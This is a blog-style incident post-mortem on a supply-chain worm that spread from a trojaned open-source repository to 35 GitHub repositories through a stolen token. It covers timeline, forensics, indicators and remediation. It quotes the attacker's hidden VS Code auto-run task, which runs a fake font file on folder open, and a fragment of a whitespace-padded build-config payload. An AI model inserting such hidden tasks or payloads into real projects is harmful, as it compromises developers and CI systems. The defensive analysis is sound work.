Skip to content

Blog · Security · Published 6 September 2026

Anatomy of a Two-Stage Supply-Chain Worm

How one trojaned public repository became, sixty-four days later, a 54-minute automated compromise of 35 repositories — and what the investigation got wrong along the way.

A note on this account. Every identifying detail has been removed: organisations, people, repository names, client projects, machine names, and exact calendar dates. Days are given relative to the mass-push event (D0); clock times are real UTC and preserved, because the intra-hour timing is the substance of the story. Indicators of compromise are kept verbatim — they belong to the attacker, not to anyone here, and they are the part worth sharing.

Summary

This is one incident with two victims, sixty-four days apart.

Stage one. A developer cloned and built a public repository belonging to an unrelated third party. That repository had been trojaned upstream. When the dev server started, malicious code embedded in a build configuration file executed on the developer's laptop. A persistence implant was installed, and the GitHub credential stored in the operating system's credential manager became readable to any process running as that user.

Stage two. Sixty-four days later, a worm using that stolen credential injected malicious code into 35 of the 437 GitHub repositories that account had access to in 54 minutes and 31 seconds. It worked in strict alphabetical order, forged commit metadata to impersonate real contributors, executed inside CI at least six times, and stopped partway through the letter "c".

It did not stop because it finished. It stopped because something revoked the credential out from under it, 46 seconds after its last write.

The crucial point: nothing was done wrong on the repository side at the moment of the attack. There was no phishing email, no weak password, no misconfigured webhook. The attack arrived through a laptop that had built a poisoned open-source project two months earlier, and its blast radius was set entirely by how much that laptop's credential was permitted to write to.

Full timeline

WhenWhat
D-64, 18:50Developer runs a package install in a cloned third-party repository. The trojan is already on disk.
D-64, 18:51Dev server starts. The payload executes. Build output is produced; the server runs until ~21:16.
D-63, 07:34A fake ~/.node_modules directory appears in Node's global require-fallback path — contents: an HTTP client and a websocket client. Not created by any command in shell history.
D-63, 09:59A hidden-launch script is planted in the Windows Startup folder. Persistence established.
D-16Second infection on the same laptop — a different local repository receives the other attack vector (editor auto-run task plus a fake font file).
D-15Last normal activity from the developer's account.
D-2, ~17:03Routine full mirror backup of all 437 accessible repositories completes. This becomes the recovery baseline.
D0 02:48:43First force-push against the accessible estate. The mass event begins.
D0 02:49:42First payload execution in CI — a pages build-and-deploy workflow succeeds one second after the push.
D0 02:50:10Payload executes twice more in a large frontend monorepo's CI.
D0 03:06:37Same monorepo, two further successful executions.
D0 03:12:18Heaviest single target: 65 force-pushes into one API repository.
D0 03:38:11Payload executes in a marketing-site deploy workflow.
D0 03:41:19Four workflows fire in another repository — all fail.
D0 03:43:14Last event against the main estate. The sweep halts mid-alphabet.
D0 03:43:49–03:50:00The worm turns on its host and rewrites nine of the developer's own personal repositories.
D0 03:50:46–03:51:20207 credential authorisations revoked in two bulk requests. The attack ends.
D0 ~05:38A developer, acting outside the incident process, begins deleting branches to "clean" a repository.
D0 ~06:00Investigation begins.
D0, laterCleanup reported complete. The pre-incident backup is deleted.
D+5Endpoint forensics on the source laptop confirms compromise and identifies patient zero.

Dwell time between initial compromise and the mass push: 64 days.

Repositories were processed 1–3 seconds apart during the mass event — machine-paced, indiscriminate, consistent with a script iterating a list rather than a human choosing targets.

Stage one — how the laptop was infected

The developer cloned a public repository from an unrelated third party and ran the project. That repository was trojaned at source.

The forensic evidence is unusually clean:

FindingEvidence
Trojan present and executedEndpoint AV identified Trojan:JS/PolinRider.DB!MTB in the project's postcss.config.js, with detection timestamps spanning the exact minutes the editor and dev server were active.
Build ran with the trojan on diskPackage install completed one minute before the dev server started; build output was generated. The file was on disk and readable by the toolchain as the build began.
Upstream fully compromisedAll 63 branch tips of the upstream repository — including the production branch — carried an identical 5,431-byte trojaned postcss.config.js.
Introduced by forged commitsTwo merge commits, roughly two weeks apart, both proven forged: committer name inconsistent with the author, a timezone offset that did not match any legitimate contributor's, and a missing GPG signature where the project otherwise signed.

That last row is the important one. The upstream project was not compromised by someone pushing an obvious malicious commit. It was compromised by forged merge commits designed to look like routine history — the same anti-forensic technique that would later be used downstream. This is one worm family, using one playbook, at every hop.

Execution is assumed rather than directly observed, and the report says so plainly. The file was present, readable, and in the path of a build that demonstrably ran. That is the correct standard for an incident finding: state the inference and state that it is one.

Stage two — persistence and credential theft

Two persistence artifacts were installed on the laptop the morning after the build.

A hidden-launch script in the Startup folder. A 403-byte VBScript that silently launches a Python process from a dump directory buried inside a widely-used desktop chat client's module tree. No console window, no visible process, and a location no user would ever browse to.

A planted ~/.node_modules directory. A fake package directory in the user's home, placed in Node's global require-fallback path, containing nothing but an HTTP client and a websocket client — a minimal command-and-control toolkit. It matched no command in the user's shell history, which is how it was identified as planted rather than legitimate.

Both were still present on the machine at the time of analysis, more than two months later.

The credential

This is what turned a single infected laptop into a 35-repository incident.

The operating system's credential manager held a GitHub token for the developer's account, stored there by the standard Git credential helper. Any process running as that user can read it silently — no prompt, no elevation, no user interaction.

The build ran as that user.

This detail also answers a question the repository-side investigation could not resolve on its own: whether the stolen credential was an SSH key or a token. It was an HTTPS token in the OS credential store — which is consistent with two things the repository-side analysis had observed independently:

  • The worm reached dormant repositories the developer had never cloned locally. Discovering those requires a repository-enumeration API call, which an SSH key alone cannot make.
  • No CI workflow files were modified anywhere, in any of the 35 repositories — consistent with a token that lacked the scope required to push workflow changes.

Two independent investigations, from opposite ends, converging on the same credential. That is what corroboration looks like, and it is worth more than either finding alone.

Reinfection

At D-16, the same laptop picked up a second infection — a different local repository, this time carrying the other attack vector (editor auto-run task plus a fake font file rather than a build-config injection).

The machine was not compromised once. It was compromised, left in that state for two months, and compromised again through a different route before the mass event fired.

Stage three — the attack on the reachable repositories

The worm carried two independent injection techniques and applied exactly one per repository — 22 got the first, 13 got the second, none got both. That split suggests the tool selected a vector based on what it found in each repository's tree.

Vector 1 — the editor executes it for you (22 repositories)

This abuses a Visual Studio Code feature: a task can be configured to run automatically when a folder is opened. The worm dropped a .vscode/tasks.json containing:

{
  "label": "eslint-check",
  "type": "shell",
  "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
  "isBackground": true,
  "hide": true,
  "presentation": { "reveal": "never", "echo": false, "close": true },
  "runOptions": { "runOn": "folderOpen" }
}

Every detail is deliberate:

  • "label": "eslint-check" — it looks like tooling you already run.
  • command -v node / where node — one line that works on both Unix and Windows.
  • hide, reveal: never, echo: false, close: true — no terminal panel, no output, no UI trace.
  • runOn: folderOpen — no click, no prompt. Opening the project is the entire interaction.

The payload was public/fonts/fa-solid-400.woff2: 31,303 bytes of obfuscated JavaScript wearing a font's file extension, dropped among sixteen genuine font files as camouflage. The name is a small piece of craft — the real library's solid weight is fa-solid-900, so fa-solid-400 reads as a plausible sibling to anyone skimming a directory listing.

To ensure the malicious folder shipped, .gitignore was edited to remove the .vscode entry — and then .gitignore itself was added to .gitignore, concealing further edits.

Vector 2 — the build executes it for you (13 repositories)

The more dangerous vector, because it removes the human entirely. This is also the vector that infected patient zero.

The payload was appended to a build configuration file — postcss.config.js, tailwind.config.js, babel.config.js and their .mjs variants — on the same line as the export statement, padded with roughly 500 spaces:

export default config;      [~500 spaces]      global.i="A8-4501-1";const _0xb40cd9=...

In a diff view that renders as an unchanged line followed by whitespace. You have to scroll sideways to find it. Where the config was an ES module, a two-line shim was prepended so the payload could reach Node built-ins:

import { createRequire } from 'module';
const require = createRequire(import.meta.url);

Infected configs measured 31,386–31,536 bytes in the affected repositories (5,431 bytes in the upstream third-party repository — a smaller, likely earlier build of the same payload). Legitimate equivalents were 80–260 bytes.

That size discrepancy — roughly 100× — proved to be the most reliable detection heuristic available, because unlike filename matching it does not require knowing which file the attacker chose.

This vector runs on every build, including CI. All six confirmed payload executions came from it.

Anti-forensics: the commits looked like yours

This is what would have kept the compromise invisible.

Every rewritten tip commit preserved the real author's name and a backdated timestamp. On the repository's commit page, the malicious commit renders as ordinary history — a real contributor's name, a date from months ago, an unremarkable message. Nothing draws the eye.

But the forgery had a consistent mechanical tell. Git tracks author and committer separately. The worm copied the author field faithfully, then wrote a committer field that was the author's name truncated at the first space:

Author (preserved)Committer (forged)Signature
Firstname LastnameFirstnamestripped

In one case the legitimate commit had been SSH-signed; the forged replacement was unsigned, shared the same parent commit, and carried an identical commit message. Same message, same parent, different tree, missing signature, truncated committer.

The upstream compromise showed the same family of tells with an extra one: a timezone offset in the commit metadata that matched no legitimate contributor to that project.

Three transferable detection signals, all cheap:

  1. A single-word committer where the author has a full name.
  2. A commit timezone that appears nowhere else in the project's history.
  3. A missing signature on a branch where signing is otherwise consistent.

Commit signing would not have prevented any of this. It would have made it loud.

Command and control: the address lives on a blockchain

The payload did not hardcode a C2 domain. It read an Ethereum smart contract to resolve its live C2 address — the technique known as EtherHiding.

The practical consequence: domain blocking does not kill it. There is no registrar to notify and no DNS record to sinkhole. The operator updates a value on-chain and every deployed implant picks up the new address.

The contract address was split across four separate string fragments in the source, specifically to defeat naive grep-based detection.

Observed C2 endpoint paths: :443/0x/cl and :443/0x/ls.

The payload was analysed statically only — never executed, never sandboxed. Confirmed capabilities include child_process, spawn, eval, require, http/https/net, process.env access, base64 handling, and brotli/gzip/inflate decompression. Its full behaviour remains uncharacterised, and this account should be read with that gap in mind.

At the time of the endpoint analysis, nothing was beaconing: no suspicious processes running, no C2 entries in the DNS cache, clean autorun keys, scheduled tasks and WMI subscriptions. The implant's own targets had gone stale — the chat client version it pointed at had been removed by an update, and the hardcoded interpreter path no longer existed. The persistence was still armed but had been rendered inert by ordinary software churn rather than by any defensive action.

That is luck, not mitigation, and it should be recorded as such.

What was actually exposed

Being precise here matters, because the instinct in an incident is to either catastrophise or minimise, and both are wrong.

Source code: read, confirmed — not inferred. Constructing the forged commit required possessing the original tree, because the forged tree is the original plus injected files. The worm necessarily cloned every repository it touched. That is a proof, not a guess.

Whether that code left the machine is unproven and probably unprovable. The platform does not log clone or fetch events on standard plans. The payload has network egress capability. Absence of evidence in the most literal sense.

Read access almost certainly extended past 35 repositories. The worm halted mid-alphabet; its boundary was the credential's permission grants, not the 35 it reached. Within the a–c range it infected 35 of 88 repositories — roughly 40%. Extrapolated, the credential could likely read on the order of 150–175. That is extrapolation and should be measured directly rather than assumed.

CI secrets: bounded, and smaller than feared. Actions secrets are encrypted at rest and cannot be read through the API or UI. The only exposure path is injection into a runner during a run — and only for secrets a workflow explicitly references. Confirmed exposure is therefore limited to what the six successful runs referenced.

The mitigating detail: no CI workflow file was modified in any of the 35 repositories. The attacker never planted a secret-dumping workflow, consistent with a credential lacking workflow scope. That meaningfully caps the damage for the other 29.

On the laptop, the exposed credential set was narrower than feared: the GitHub token and one third-party LLM API key. No cloud provider credentials, no container registry tokens, no SSH keys, no package registry tokens existed on the machine. The infected project's environment file contained only public client-side keys.

One of the affected repositories was public. Its malicious commit was world-readable for the duration. Public repositories are continuously mirrored by third parties; deleting the commit does not un-publish it.

What stopped it

The working theory for some time was that the attack ran out of time or was interrupted by chance. It wasn't.

The audit log showed that at 03:50:46–03:51:20, 207 distinct credential authorisations were removed — in two HTTP requests, meaning one bulk operation rather than 207 individual actions. The background rate for such events on that account was 6–13 per day.

The worm's last write was 03:50:00. Forty-six seconds later, its access was gone.

Whether that was the platform's abuse detection, an administrator, or the account holder noticing and pulling the cord was never conclusively established. The request came from a browser build that appeared nowhere else in a full year of that account's history — either an ordinary auto-update or a different machine entirely, and the available data cannot distinguish between them.

The honest framing: ~400 repositories were spared by a control that fired 62 minutes into the attack, not by anything prepared in advance.

What actually worked

Three things held. All three are unglamorous.

1. Branch protection

Five force-pushes were rejected outright, with the platform logging both the attempted commit and the protected pre-attack tip:

reasons: [
  { code: "force_push",                  message: "Cannot force-push to this branch" },
  { code: "review_policy_not_satisfied", message: "Changes must be made through a pull request." }
]

Four repositories kept a clean default branch purely because someone had enabled branch protection, possibly years earlier and for unrelated reasons. In one API repository, both long-lived branches survived while 77 others did not.

Those rejection events were also the highest-quality forensic artifact in the entire incident — each records the exact pre-attack commit, attested by the platform, independent of any backup.

2. The mirror backup

A full mirror taken two days earlier — every branch, tag and ref — was the baseline for all differential analysis and the source of every clean commit used in recovery. It was verified clean: all 437 mirrors scanned across every ref, every apparent hit benign.

Without it, "what changed?" would have been unanswerable.

3. Someone noticed something odd

The incident surfaced because a routine git fetch produced strange output — every branch in one repository force-updating onto a single commit. No alert fired. No tooling flagged it. A human looked at unexpected terminal output and decided to pull the thread.

What the investigation got wrong

The most useful section, and the one most writeups omit. The investigation reached four incorrect conclusions before reaching the right one. Each was caught only because someone challenged a result that looked finished.

1. Signature matching missed an entire attack vector

The first scan searched for the two known indicators. It found 21 repositories and reported them.

It had missed all 13 build-config repositories, because it was not looking for build configs. A scan for known indicators cannot find a technique it does not already know about — and it will report a clean, confident, precise number while doing so.

The fix: diff against a known-good baseline. Differential comparison is vector-agnostic — it does not care what the technique was, only that something changed. Signature scanning is a supplement, never a substitute.

2. Default-branch-only scanning produced false all-clears

Four repositories were reported clean because their default branch was untouched. They were infected on non-default branches. One had 12 of 13 branches carrying the payload while the default sat clean, protected by branch protection.

Compounding this: the platform's code search only indexes default branches. Any methodology resting on it would have missed these by construction.

The fix: enumerate every distinct commit across every ref, then scan those.

3. "Refs rewritten, content clean" was wrong

An early classification held that some repositories had damaged branch topology but unmodified file content. Tree comparison later showed content was modified in every case. The distinction was comforting and false.

4. A successful CI run was read as good news

One repository's deployment workflow ran green during the attack window, initially described as having "shipped clean code."

It had executed the payload. A green check means the pipeline completed, not that what it completed was benign.

Even the automated verification sweep — 12 agents, 435 repositories, 503 operations — initially missed two repositories. They were recovered only by an adversarial pass whose explicit job was to attack the sweep's own conclusions.

The transferable lesson: in incident response, treat every clean result as unproven until something has actively tried to break it. Confidence and correctness are unrelated variables.

Root cause and contributing factors

Root cause: a developer workstation was compromised by building a trojaned third-party repository. The malware stole the GitHub token from the operating system's credential store and, sixty-four days later, used it to write to every repository that credential could reach.

Each of the following, had it been absent, would have reduced or prevented the impact:

#Contributing factorStage
1Building untrusted code on a machine holding production credentials. The single decision that started everything. A build is arbitrary code execution.Laptop
2Plaintext-retrievable credential in the OS credential store, readable by any process running as the user, with no prompt.Laptop
3Editor auto-run tasks enabled by default. runOn: folderOpen executes shell commands with no prompt and no output. One setting disables it.Both
4Over-provisioned access. The credential could write to dormant repositories from five years earlier, unrelated to the holder's work. Across a full year the account's genuine working scope was 10 repositories; it could write to hundreds.Account
5No branch protection on most repositories. Force-push to default branches was permitted — the primary attack action, unblocked.Account
6No commit signing requirement. The forged commits were unsigned.Both
7No CI-side integrity checking. An injected build config executed in the pipeline instead of failing it.Account
8Audit log not readily accessible during the critical hours — the one source that would have identified the credential immediately.Account

Factor 4 deserves emphasis. It is what converts a single compromised laptop into a 35-repository incident. Every other factor changes the severity; that one changes the scale.

Indicators of compromise

Repository-side

IndicatorTypeNotes
global.i="A8-4501-1"StringCampaign ID, Vector 2 — most reliable marker
global.i="A8-*#new"StringCampaign ID, Vector 1
fa-solid-400.woff2FileExactly 31,303 bytes; JavaScript, not font data. Real WOFF2 begins with magic bytes wOF2 (0x774f4632) — the fake does not.
.vscode/tasks.jsonFileExactly 799 bytes, containing "runOn": "folderOpen"
Build config > 30 KBHeuristicLegitimate configs are 80–260 bytes. Catches the vector without knowing the filename.
temp_auto_push.bat, temp_interactive_push.batFileAttacker tooling (gitignored, never committed)
branch_structure.jsonFileAttacker tooling — branch topology recording
:443/0x/cl, :443/0x/lsNetworkC2 endpoint paths — hunt proxy and firewall logs
0xa322E5f3 9aDC2490Ef D311D3080e 6f0121063eStringSplit Ethereum contract address used for C2 resolution
_0x4963, _0xb40cd9StringObfuscator symbol names
node ./public/fonts/*.woff2ProcessNever legitimate — high-value endpoint telemetry rule
Committer name = first word of author nameMetadataCommit forgery signature
Commit timezone absent from all other project historyMetadataUpstream forgery signature

Host-side

IndicatorNotes
Trojan:JS/PolinRider.DB!MTBAV detection name for the build-config payload
Hidden-launch .vbs in the user's Startup folder~400 bytes; silently launches an interpreter from a buried dump directory
~/.node_modules in the user homeFake package dir in Node's global require-fallback path; contents are an HTTP client + websocket client only
Payload staged inside a desktop chat client's module treeLocation chosen because no user browses there
Build-config file of ~5,431 bytes in a JS projectThe upstream/earlier payload build

The false-positive guard that matters

A filename is not evidence. The affected estate contained legitimate .vscode/tasks.json files at 167 and 360 bytes. In a scan of the recovery baseline, 33 repositories contained a tasks.json or a fa-solid-400.woff2 path — and every one was benign: no folderOpen directive in any JSON, correct wOF2 magic bytes on every font.

Reported on filename matching alone, that scan would have declared the recovery baseline infected and blocked the entire recovery. Size and content decide. Never the name.

Endpoint response — the order that matters

When a developer machine is confirmed compromised, sequence matters more than completeness.

1. Rotate credentials first, from a different, known-clean machine. Rotating from the compromised host hands the new credential straight to the implant. Revoke and regenerate all tokens, review active sessions and authorised applications, and audit the account's own push and security history from the date of initial compromise — because the worm's entire purpose is to push forged commits using stolen tokens. Clear the stale local credential entry afterwards.

2. Preserve evidence before removing persistence. Copy the artifacts first. Once deleted, the question "what exactly was this?" can never be revisited.

3. Then remove persistence. The startup script and the planted module directory. Follow with a full AV scan — quick scans do not cover the locations these implants favour — and a second-opinion scanner. Check with elevated privileges whether AV exclusions were added; that check is not possible without elevation, and its absence is a real gap in any report that skips it.

4. Do not rebuild the infected repositories. The trojan remains in git history on every branch. Cloning or building any of them re-executes the payload. This includes older clones of the same upstream that predate the infection — they are clean today and become poisoned the moment they are pulled.

That last point is the one people get wrong. Cleaning a working directory does nothing when the payload is in the history of every branch.

What to actually do about it

Ordered by ratio of protection delivered to effort required.

Cheap, immediate, high value

  1. Disable editor auto-run tasks fleet-wide"task.allowAutomaticTasks": "off". One setting. Eliminates one of the two vectors entirely.
  2. Enable branch protection blocking force-push on default and release branches. It demonstrably worked here, on the repositories that happened to have it.
  3. Require signed commits on protected branches. Turns invisible forgery into an obvious anomaly.
  4. Add an IOC check to CI — fail the build on a build-config file over ~5 KB, or any tree containing the known payload signatures. An injected config should break the pipeline, not ride it.

Structural, higher effort, higher return

  1. Audit and reduce access scope. This is the factor that set the blast radius. If a credential can write to 400 repositories and its holder works in 10, a worm gets 400.
  2. Separate credentials from build environments. Do not build untrusted or third-party code on a machine holding shared push credentials. Containers, VMs, or dedicated machines — the mechanism matters less than the separation.
  3. Formalise the mirror backup as a monitored scheduled job, and verify its cleanliness before trusting it. It was the single reason this incident was recoverable.
  4. Ensure audit log access before you need it. Its absence during the critical hours materially degraded the investigation.
  5. Flag .vscode/ and build-config changes in code review. Nobody reads the diff on an editor config or a PostCSS file. That is precisely why they were chosen.

Process

  1. Establish a single point of control during an incident, before remediation starts. Here, a well-intentioned developer began deleting branches roughly two hours in — legitimate intent, but it destroyed forensic state while the investigation was still running.
  2. Treat "cleanup performed" and "cleanup verified" as separate milestones. They are not the same claim and should never be recorded as one.

Postscript: the baseline was deleted

The pre-incident mirror — the only complete record of what the estate looked like before the attack, and the source of every differential finding — was deleted on D0 as a business decision, following the report that cleanup was complete.

At the time of that decision the cleanup had not been independently verified, and two areas had never been scanned at any point: non-branch refs (tags, pull-request refs, releases, CI artifacts and caches, forks, packages) and CI history for 25 of the 35 repositories.

The consequences, stated plainly:

  • Differential re-verification is no longer possible. The findings cannot be independently re-derived.
  • There is no rollback path if the cleanup was incomplete.
  • Branches the attack deleted are unrecoverable unless they were restored beforehand.
  • No comparison baseline exists should a related incident surface later.

The pressure to declare an incident closed peaks exactly when the evidence is still needed. Deleting the baseline converted a fully recoverable incident into one where "are we actually clean?" can no longer be answered — only asserted.

Keep the backup until verification is independently complete. It is the cheapest insurance in the entire response, and its value is highest at precisely the moment it feels most redundant.

The short version

A developer built a trojaned open-source project on a laptop that held a GitHub token. Sixty-four days later, that token was used to inject malware into 35 repositories in 54 minutes — because the token could write to hundreds of repositories its owner never worked in.

The malware was competent: hidden editor tasks, whitespace-padded build-config injection, forged commit metadata, blockchain-resolved C2, persistence buried in a chat client's module tree. None of that determined the scale.

Access scope determined the scale. Branch protection determined the survivors. A two-day-old backup determined whether it was recoverable. A control that fired 62 minutes in determined that 400 repositories were never touched. And building untrusted code on a credentialed machine determined that any of it happened at all.

Four of those five are decisions you can make today, before anything happens.

Worried about your own blast radius?

I audit repository access scope, branch protection, commit signing, and CI supply-chain controls for teams that would rather find these gaps before an incident does.

See Services